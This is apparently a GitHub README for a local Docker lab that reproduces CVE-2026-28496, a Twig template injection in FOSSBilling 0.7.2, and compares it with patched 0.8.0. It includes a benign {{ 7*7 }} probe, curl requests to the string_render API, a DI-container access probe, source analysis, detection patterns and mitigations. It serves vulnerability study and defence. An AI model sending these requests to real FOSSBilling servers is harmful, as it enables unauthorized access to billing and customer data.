rootdirective-sec/CVE-2026-28496-Lab
GitHub: rootdirective-sec/CVE-2026-28496-Lab
基于 Docker 的 FOSSBilling Twig SSTI 漏洞(CVE-2026-28496)本地复现与对比验证实验环境。
Stars: 1 | Forks: 0
# CVE-2026-28496 - FOSSBilling Twig 渲染中的服务端模板注入
## 执行摘要
本仓库包含一个本地 Docker 实验环境,用于复现和验证 CVE-2026-28496,这是一个影响 FOSSBilling Twig 模板渲染行为的服务端模板注入(SSTI)漏洞。
FOSSBilling 是一个免费开源的计费和客户管理平台。0.8.0 之前的版本受到不安全的 Twig 模板渲染行为的影响,该行为可以执行提供的模板表达式。在本实验中,FOSSBilling 0.8.0 被用作已修复的对比目标。
本实验比较了两个 FOSSBilling 版本:
| 服务 | FOSSBilling 版本 | 用途 | URL |
| ------- | ------------------: | ---------------------------- | --------------------- |
| vuln | 0.7.2 | 漏洞对比目标 | http://localhost:8081 |
| patched | 0.8.0 | 修复后对比目标 | http://localhost:8082 |
本本地实验中演示的 HTTP 验证路径为:
```
Unauthenticated HTTP request in this local FOSSBilling 0.7.2 lab
→ POST /api/system/system/string_render
→ JSON body contains _tpl={{ 7*7 }}
→ vulnerable target renders the Twig expression
→ patched target does not expose the same tested API behavior
```
在漏洞目标中,API 调用返回:
```
{"result":"49","error":null}
```
在修复后的目标中,相同的请求返回:
```
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
```
本实验使用 FOSSBilling 0.7.2 和 FOSSBilling 0.8.0 验证了漏洞与修复后的 HTTP 行为差异。
本实验有意将范围限定在本地 Docker 服务内。它不会针对外部系统,也不包含 web shell、恶意软件、持久化、外部回调、数据库转储或破坏性 payload。
## 已验证事实
| 声明 | 证据 | 如何在本实验中验证 |
| ----------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------- |
| CVE-2026-28496 影响 0.8.0 之前的 FOSSBilling 版本。 | 公开的 CVE 和公告元数据确定 0.8.0 之前的 FOSSBilling 受到 Twig SSTI 的影响。 | 查看“参考”部分并比较漏洞目标和修复后目标的版本。 |
| FOSSBilling 0.7.2 被用作漏洞对比目标。 | 漏洞服务基于官方 `fossbilling/fossbilling:0.7.2` Docker 镜像构建。 | 检查 `vuln/Dockerfile` 并运行 `docker compose ps -a`。 |
| FOSSBilling 0.8.0 被用作修复后对比目标。 | 修复后的服务基于官方 `fossbilling/fossbilling:0.8.0` Docker 镜像构建。 | 检查 `patched/Dockerfile` 并运行 `docker compose ps -a`。 |
| 存在漏洞的 HTTP 路径为 `/api/system/system/string_render`。 | 漏洞目标针对 `_tpl={{ 7*7 }}` 返回包含 `result: "49"` 的 JSON。 | 运行 `python3 poc/poc.py --url http://localhost:8081`。 |
| 修复后的目标没有暴露相同的 HTTP 行为。 | 修复后的目标返回 `Unknown API call system/system/string_render`。 | 运行 `python3 poc/poc.py --url http://localhost:8082`。 |
| PoC 仅限于 HTTP。 | `poc/poc.py` 发送 HTTP POST 请求,不调用 Docker、Docker Compose、shell 命令或容器 API。 | 检查 `poc/poc.py`。 |
| 实验环境在 Docker Compose 启动期间会自动安装两个 FOSSBilling 目标。 | 一次性安装辅助容器完成设置并以状态码 0 退出。 | 运行 `docker compose ps -a` 和 `docker compose logs installer-vuln installer-patched`。 |
| 漏洞目标渲染了无害的 Twig 表达式。 | 来自 8081 端口的 HTTP 响应为 `{"result":"49","error":null}`。 | 运行漏洞 PoC 命令。 |
| 修复后的目标不会通过测试的 API 路径渲染相同的表达式。 | 来自 8082 端口的 HTTP 响应是代码为 `879` 的 JSON API 错误。 | 运行修复后的 PoC 命令。 |
## 假设与未知事项
本实验使用 FOSSBilling 0.7.2 作为漏洞对比目标,因为公开的漏洞研究指出 0.8.0 之前的 FOSSBilling 版本受此影响,且 0.7.2 是测试链中使用的最新易受攻击版本。
本实验使用 FOSSBilling 0.8.0 作为修复后的对比目标,因为公开的公告元数据指出 0.8.0 是修复后的版本。
本实验重点关注以下请求的可观察 HTTP 行为:
```
POST /api/system/system/string_render
```
带有此 JSON body:
```
{"_tpl":"{{ 7*7 }}"}
```
本实验表明,FOSSBilling 0.7.2 会通过 HTTP API 路径渲染提供的 Twig 表达式,而 FOSSBilling 0.8.0 则不提供相同的 API 调用。
本实验并未声称测试了 FOSSBilling 的每一个模板渲染功能。CVE-2026-28496 还与其他 Twig 渲染上下文相关,例如应用程序内部可用的模板渲染功能。
本实验室未演示完整的未认证远程代码执行(RCE)链。它验证了在本地 FOSSBilling 0.7.2 目标中观察到的未认证 HTTP 行为,并将其与 FOSSBilling 0.8.0 进行了比较。完整的公开链涉及超出此处展示的安全 Twig 表达式验证范围的额外 API 授权行为。
本实验不演示:
* 远程命令执行,
* 凭据提取,
* 数据库转储,
* 扩展安装,
* 任意文件写入,
* 持久化,
* web shell 上传,
* 外部回调,
* 针对非实验环境的系统的攻击,
* 或后渗透活动。
## 根本原因总结
CVE-2026-28496 的根本原因是不安全的 Twig 模板渲染。
FOSSBilling 使用 Twig 来渲染动态模板。在受影响的版本中,提供的模板字符串可以在没有足够沙箱限制的情况下传递到 Twig 渲染逻辑中。
漏洞行为可以概括为:
```
Input template string
→ FOSSBilling API receives _tpl
→ System\Api\Admin::string_render() reads _tpl
→ System\Service::renderString() receives the template string
→ Twig creates a template from the supplied string
→ Twig evaluates the expression
→ rendered output is returned in the HTTP response
```
对于这个无害的模板表达式:
```
{{ 7*7 }}
```
漏洞目标会计算表达式并返回:
```
49
```
安全问题不仅限于算术计算。算术计算只是本实验中使用的安全可见信号。
更为敏感的安全问题是,未沙箱化的 Twig 模板可能会访问模板上下文中暴露的对象和方法。公开研究描述了一种更高影响的路径,当存在合适的模板上下文对象时,Twig 模板执行可以触及应用程序内部,包括依赖注入容器。
简化的漏洞模型是:
```
Template renderer
→ unsandboxed Twig expression
→ method/object access may be possible
→ application internals may become reachable
→ sensitive services may become reachable
```
FOSSBilling 0.8.0 中修复后的设计强化了易受攻击的行为。在本实验中,修复后的目标不再暴露被测试的 API 调用:
```
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
```
安全教训是:
```
Template engines must not render user-controlled template strings in a privileged application context unless strict authorization and sandbox boundaries are enforced.
```
## 源代码分析
漏洞 HTTP 行为由 FOSSBilling 0.7.2 中的源代码路径支持。
API 方法从请求数据中接收 `_tpl` 并将其传递给系统服务渲染器。
相关的漏洞入口点:
```
public function string_render($data)
{
if (!isset($data['_tpl'])) {
error_log('_tpl parameter not passed');
return '';
}
$tpl = $data['_tpl'];
$try_render = $data['_try'] ?? false;
$vars = $data;
unset($vars['_tpl'], $vars['_try']);
return $this->getService()->renderString($tpl, $try_render, $vars);
}
```
重要的数据流是:
```
HTTP request body
→ _tpl
→ System\Api\Admin::string_render()
→ System\Service::renderString()
```
在 FOSSBilling 0.7.2 中,`renderString()` 尝试将提供的值作为模板名称加载。如果失败,它会将提供的值视为模板字符串,并将其传递给 `createTemplateFromString()`。
简化的漏洞流程:
```
public function renderString($tpl, $try_render, $vars)
{
$twig = $this->di['twig'];
try {
$template = $twig->load($tpl);
$parsed = $template->render($vars);
} catch (\Exception) {
// $twig->load throws an exception when $tpl is a raw template string
$parsed = $this->createTemplateFromString($tpl, $try_render, $vars);
}
return $parsed;
}
```
漏洞汇聚点(sink)是 `createTemplateFromString()`:
```
public function createTemplateFromString($tpl, $try_render, $vars)
{
try {
$twig = $this->di['twig'];
$template = $twig->createTemplate($tpl);
$parsed = $template->render($vars);
} catch (\Exception $e) {
$parsed = $tpl;
if (!$try_render) {
throw $e;
}
}
return $parsed;
}
```
与安全相关的源码模式是:
```
_tpl from request data
→ used as $tpl
→ passed to Twig createTemplate()
→ rendered server-side
```
这解释了漏洞实验室结果:
```
POST /api/system/system/string_render
{"_tpl":"{{ 7*7 }}"}
```
漏洞响应:
```
{"result":"49","error":null}
```
值 `49` 证明了提供的 Twig 表达式在服务端被成功执行。
安全的实验室 payload 仅使用了算术:
```
{{ 7*7 }}
```
然而,其根本原因在安全敏感性上远超算术表达式计算。在存在漏洞的渲染上下文中,Twig 模板可能会与存在于模板环境中的应用程序对象进行交互。公开研究描述了更高影响的攻击链,其中 API 上下文对象可以暴露对应用程序内部(如依赖注入容器)的访问。
源代码级别的回归测试确认了更深层次的行为:
```
FOSSBilling 0.7.2:
{{ guest.getDi() }}
→ DI_VISIBLE
FOSSBilling 0.8.0:
{{ guest.getDi() }}
→ blocked by Twig sandbox policy
```
这就是为什么该漏洞最好被理解为不安全的模板渲染,而不仅仅是一个计算器式的表达式计算 bug。
## 源码补丁总结
FOSSBilling 0.8.0 通过强化字符串渲染并移除测试到的易受攻击的 HTTP 行为,改变了受影响的行为。
在修复版本中,字符串渲染通过感知沙箱的渲染器进行路由,而不是直接使用广泛的 Twig 功能渲染任意模板字符串。
修复后的服务代码调用了一个感知沙箱的渲染器:
```
$rendered = SandboxedStringRenderer::render(
$twig,
$tpl,
$vars,
$errorMessage
);
```
沙箱渲染器创建并渲染模板,但会捕获 Twig 沙箱违规,并将其转换为受控的应用程序错误:
```
final class SandboxedStringRenderer
{
public static function render(
Environment $twig,
string $content,
array $context = [],
string $name = 'template'
): string {
try {
return $twig->createTemplate($content)->render($context);
} catch (SecurityError $e) {
throw new InformationException(
'%name% contains disallowed Twig syntax: %error%',
[
'%name%' => $name,
'%error%' => $e->getMessage(),
]
);
}
}
}
```
沙箱策略默认阻止方法和属性访问:
```
$methods = [];
$properties = [];
```
与安全相关的变更是:
```
Before:
request-controlled template string
→ Twig createTemplate()
→ render without the patched sandbox boundary
After:
template string rendering
→ SandboxedStringRenderer
→ Twig sandbox policy
→ method/property access denied by default
```
对于本实验中测试的公共 HTTP API 路径,FOSSBilling 0.8.0 没有暴露相同的受影响 API 调用:
```
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
```
这提供了两个有用的验证层:
```
HTTP behavior validation:
0.7.2 renders {{ 7*7 }} through /api/system/system/string_render.
0.8.0 does not expose the same API behavior.
Source/root-cause validation:
0.7.2 allows unsafe Twig rendering behavior.
0.8.0 introduces sandboxed string rendering and blocks method/property access.
```
实验室将这两层分开:
```
HTTP PoC result
proves the vulnerable endpoint behavior.
Source patch review
explains why unsafe Twig rendering was dangerous and how the patched version hardens it.
```
## 实验架构
该实验通过 Docker Compose 运行两个隔离的 FOSSBilling 安装。
```
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── scripts/
│ └── auto-install.sh
├── README.md
└── .gitignore
```
这两个 FOSSBilling 服务使用不同的数据库和应用程序版本:
| 服务 | 组件 | 版本 / 角色 |
| ----------------- | ------------ | ------------------------------- |
| vuln | FOSSBilling | 漏洞目标应用程序 |
| patched | FOSSBilling | 修复后目标应用程序 |
| vuln-db | MariaDB | 漏洞目标数据库 |
| patched-db | MariaDB | 修复后目标数据库 |
| installer-vuln | curl 辅助容器 | 自动安装漏洞目标 |
| installer-patched | curl 辅助容器 | 自动安装修复后目标 |
默认暴露的服务:
```
Vulnerable target: http://localhost:8081
Patched target: http://localhost:8082
```
实验使用固定版本的 FOSSBilling:
| 目标 | FOSSBilling 版本 | 预期行为 |
| --------------------- | ------------------: | --------------------------------------------------- |
| http://localhost:8081 | 0.7.2 | 通过漏洞 API 路径渲染 `{{ 7*7 }}` |
| http://localhost:8082 | 0.8.0 | 不暴露相同的漏洞 API 行为 |
安装辅助容器在 `docker compose up` 期间自动运行。它们使用本地一次性数据库凭据初始化两个 FOSSBilling 目标,然后退出。
该实验不会创建或修改漏洞 API 路由。
路由 `/api/system/system/string_render` 是由安装后的漏洞 0.7.2 目标中的 FOSSBilling 应用程序提供的。Docker 实验环境仅通过其正常的安装程序流程安装应用程序,然后向现有的应用程序 endpoint 发送 HTTP 请求。
修复后的 0.8.0 目标返回 `Unknown API call system/system/string_render`,这证实了被测试的路由行为来自应用程序版本本身,而不是实验室创建的路由。
## 要求
* Docker Desktop 或 Docker Engine
* Docker Compose v2
* Python 3
* 首次拉取 Docker 镜像期间的互联网访问权限
不需要任何 Python 第三方包。PoC 仅使用 Python 标准库模块。
## 快速开始
从干净状态启动实验环境:
```
docker compose down -v --remove-orphans
docker compose up -d --build
```
检查服务状态:
```
docker compose ps -a
```
预期运行中的服务:
```
cve-2026-28496-vuln
cve-2026-28496-patched
cve-2026-28496-vuln-db
cve-2026-28496-patched-db
```
预期已完成的安装程序服务:
```
cve-2026-28496-installer-vuln Exited (0)
cve-2026-28496-installer-patched Exited (0)
```
检查安装程序日志:
```
docker compose logs installer-vuln installer-patched
```
检查 Web 应用程序:
```
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head
```
针对漏洞目标运行 HTTP 验证:
```
python3 poc/poc.py --url http://localhost:8081
```
针对修复后目标运行 HTTP 验证:
```
python3 poc/poc.py --url http://localhost:8082
```
## PoC 用法
PoC 接受一个本地 FOSSBilling 基础 URL:
```
python3 poc/poc.py --url
```
示例:
```
python3 poc/poc.py --url http://localhost:8081
python3 poc/poc.py --url http://localhost:8082
python3 poc/poc.py --url http://127.0.0.1:8081
python3 poc/poc.py --url http://127.0.0.1:8082
```
PoC 发送此 HTTP 请求:
```
POST /api/system/system/string_render
Content-Type: application/json
```
请求 body:
```
{"_tpl":"{{ 7*7 }}"}
```
PoC 仅限 HTTP。它不调用 Docker、Docker Compose、shell 命令、WP-CLI 或容器 API。
## 预期结果
### 漏洞目标
命令:
```
python3 poc/poc.py --url http://localhost:8081
```
预期的漏洞目标信号:
```
CVE-2026-28496 HTTP validation PoC
Scope: authorized local lab target only
URL: http://localhost:8081
Endpoint: http://localhost:8081/api/system/system/string_render
Template: {{ 7*7 }}
===== HTTP response =====
status=200
content-type=application/json; charset=utf-8
{"result":"49","error":null}
===== verdict =====
VULNERABLE/REACHABLE: server rendered {{ 7*7 }} and returned 49.
```
### 修复后目标
命令:
```
python3 poc/poc.py --url http://localhost:8082
```
预期的修复后目标信号:
```
CVE-2026-28496 HTTP validation PoC
Scope: authorized local lab target only
URL: http://localhost:8082
Endpoint: http://localhost:8082/api/system/system/string_render
Template: {{ 7*7 }}
===== HTTP response =====
status=400
content-type=application/json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
===== verdict =====
PATCHED/NOT REACHABLE: target did not render the supplied template.
```
重要的区别在于:
```
FOSSBilling 0.7.2
→ renders {{ 7*7 }}
→ returns 49
FOSSBilling 0.8.0
→ does not render the supplied template through this API path
→ returns an API error
```
## 验证工作原理
验证器向 FOSSBilling API endpoint 发送单个 HTTP POST 请求:
```
/api/system/system/string_render
```
请求 body 包含一个无害的 Twig 表达式:
```
{"_tpl":"{{ 7*7 }}"}
```
预期的漏洞行为:
```
HTTP 200 OK
JSON result is "49"
```
预期的修复行为:
```
HTTP 400 Bad Request
JSON error indicates the API call is unknown or not reachable
```
这证实了存在漏洞的目标会在服务端计算提供的模板。
PoC 有意使用 `{{ 7*7 }}` 而不是破坏性 payload。目的是安全地证明技术:
```
attacker-controlled template input
+ server-side Twig evaluation
+ observable rendered output
```
为了进行更深入的源码级根本原因验证,方法访问是潜在问题的更有力证明。但是,本仓库中的公开 PoC 使用更安全的算术表达式,以避免演示高影响的攻击链。
## 使用 curl 进行手动 HTTP 复现
漏洞探测:
```
curl -i -X POST \
'http://127.0.0.1:8081/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
```
预期结果:
```
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
{"result":"49","error":null}
```
修复后探测:
```
curl -i -X POST \
'http://127.0.0.1:8082/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
```
预期结果:
```
HTTP/1.1 400 Bad Request
Content-Type: application/json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
```
## 影响
计费和客户管理平台中的服务端模板注入具有安全敏感性,因为应用程序可能存储客户记录、计费数据、服务器凭据、支付配置和管理员控制的自动化逻辑。
演示的实验室 payload 是无害的,仅计算:
```
{{ 7*7 }}
```
然而,当模板执行可以访问应用程序对象、方法或服务容器时,这类漏洞的根本隐患可能会更加严重。
根据配置和可到达的模板上下文,潜在的现实影响可能包括:
* 信息泄露,
* 访问应用程序内部,
* 访问敏感应用程序服务,
* 修改应用程序状态,
* 以及在与合适的执行路径链式调用时导致远程代码执行。
本实验仅演示了安全的 HTTP 验证信号。它不演示凭据访问、数据库访问、扩展安装、命令执行或后渗透。
## 检测与监控
潜在的指标包括发往 FOSSBilling API endpoint 的 HTTP 请求:
```
/api/system/system/string_render
```
可疑的请求模式:
```
POST /api/system/system/string_render
Content-Type: application/json
```
可疑的请求 body 指标:
```
_tpl
{{
}}
Twig syntax
```
示例访问日志模式:
```
POST /api/system/system/string_render
```
示例 JSON payload:
```
{"_tpl":"{{ 7*7 }}"}
```
建议的监控操作:
* 检查 Web 服务器访问日志中对 `/api/system/system/string_render` 的请求。
* 检查 JSON 请求 body 中包含 `_tpl` 的请求。
* 检查包含 `{{` 和 `}}` 等 Twig 语法的请求。
* 检查包含已渲染模板输出的成功 API 响应。
* 检查可疑模板渲染尝试的失败 API 响应。
* 如果怀疑遭到利用,请检查管理员活动。
* 检查模板、电子邮件、群发邮件程序和支付适配器配置的更改。
* 检查应用程序日志中的模板渲染错误或意外的 API 调用。
高信号检测思路:
```
POST request to /api/system/system/string_render
AND request body contains "_tpl"
AND request body contains "{{"
```
另一个高信号的本地验证产物:
```
Request body:
{"_tpl":"{{ 7*7 }}"}
Response body:
{"result":"49","error":null}
```
## 缓解与补丁说明
将 FOSSBilling 升级到 0.8.0 或更高版本。
对于生产环境,请更新到最新的可用版本,而不是停留在实验对比版本上。
推荐的缓解步骤:
* 将 FOSSBilling 升级到 0.8.0 或更高版本。
* 确认安装的版本不在受影响范围内。
* 在可能的情况下,限制对管理 API 路径的公开访问。
* 检查 Web 访问日志中对 `/api/system/system/string_render` 的请求。
* 检查模板、电子邮件模板、群发邮件程序和自定义支付适配器中是否存在可疑的 Twig 语法。
* 如果怀疑遭到利用,请轮换密钥。
* 检查客户、计费、支付和服务器管理记录是否存在未经授权的访问。
* 将 WAF 规则或反向代理拦截视为临时控制措施,而不是升级的替代品。
安全工程教训:
* 不要在特权应用程序上下文中渲染不受信任的模板字符串。
* 不要将应用程序服务容器暴露给模板上下文。
* 对用户控制或管理员控制的模板功能使用沙箱模板渲染。
* 除非明确需要,否则拒绝方法和属性访问。
* 保持 API 授权失败明确并实现安全失效。
* 将模板渲染功能视为类似于代码执行的高危攻击面。
## 实用的验证命令
检查容器状态:
```
docker compose ps -a
```
检查安装程序日志:
```
docker compose logs installer-vuln installer-patched
```
检查 Web 服务:
```
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head
```
运行漏洞 HTTP 验证:
```
python3 poc/poc.py --url http://localhost:8081
```
运行修复后 HTTP 验证:
```
python3 poc/poc.py --url http://localhost:8082
```
手动漏洞请求:
```
curl -i -X POST \
'http://127.0.0.1:8081/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
```
手动修复后请求:
```
curl -i -X POST \
'http://127.0.0.1:8082/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
```
从检出的源码树中检查漏洞源码流程:
```
git checkout 0.7.2
grep -n "function string_render" -A30 src/modules/System/Api/Admin.php
grep -n "function renderString" -A70 src/modules/System/Service.php
grep -n "function createTemplateFromString" -A30 src/modules/System/Service.php
```
从检出的源码树中检查修复后的沙箱渲染器:
```
git checkout 0.8.0
grep -R "SandboxedStringRenderer" -n src/modules src/library | head -30
grep -R "\$methods = \[\]\|\$properties = \[\]" -n src/library/FOSSBilling/Twig
```
保存验证证据:
```
mkdir -p evidence
python3 poc/poc.py --url http://localhost:8081 \
| tee evidence/vulnerable-http-validation.txt
python3 poc/poc.py --url http://localhost:8082 \
| tee evidence/patched-http-validation.txt
docker compose ps -a \
| tee evidence/docker-compose-ps.txt
docker compose logs installer-vuln installer-patched \
| tee evidence/installer-logs.txt
```
检查 FOSSBilling 响应头:
```
curl -i http://127.0.0.1:8081 | grep -i 'x-fossbilling-version'
curl -i http://127.0.0.1:8082 | grep -i 'x-fossbilling-version'
```
## 清理
停止并移除容器和网络:
```
docker compose down --remove-orphans
```
移除容器、网络和数据卷:
```
docker compose down -v --remove-orphans
```
如果创建了本地证据文件,请将其移除:
```
rm -rf evidence/
```
## 安全边界
本实验仅用于本地安全研究和受控演示。
请勿对您不拥有或没有明确授权进行测试的系统运行 PoC 或手动 curl 请求。
请勿在本实验环境中使用真实的生产凭据、客户数据、支付数据、API 密钥或生产环境密钥。
预期范围仅限于本地 Docker 服务,例如:
```
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
```
PoC 是有意仅针对 HTTP 和本地范围的。它不调用 Docker、Docker Compose、shell 命令、WP-CLI 或容器 API。
本实验环境不包含用于以下目的的 payload:
* web shell 上传,
* 任意命令执行,
* 持久化,
* 横向移动,
* 凭据窃取,
* 数据库转储,
* 客户数据访问,
* 支付凭据访问,
* 或外部回调。
目标是在受控环境中演示一种特定的技术条件:
```
HTTP request
+ FOSSBilling string_render API path
+ Twig template expression
+ vulnerable target renders the expression
+ patched target does not render the expression
```
## 参考文献
* CVE 记录:CVE-2026-28496
https://www.cve.org/CVERecord?id=CVE-2026-28496
* GitHub 安全公告:GHSA-57mv-jm88-66jc
https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc
* VulnCheck:FOSSBilling 身份验证绕过和 Twig SSTI 到未认证 RCE
https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce
* FOSSBilling Docker 文档
https://docs.fossbilling.org/getting-started/docker/
* FOSSBilling GitHub 仓库
https://github.com/FOSSBilling/FOSSBilling
* FOSSBilling Docker 镜像
https://hub.docker.com/r/fossbilling/fossbilling
* Twig 文档:沙箱扩展
https://twig.symfony.com/doc/3.x/sandbox.html
标签:CISA项目, Docker, OPA, SSTI, Web安全, 安全防御评估, 漏洞复现, 版权保护, 蓝队分析, 请求拦截, 逆向工具, 靶场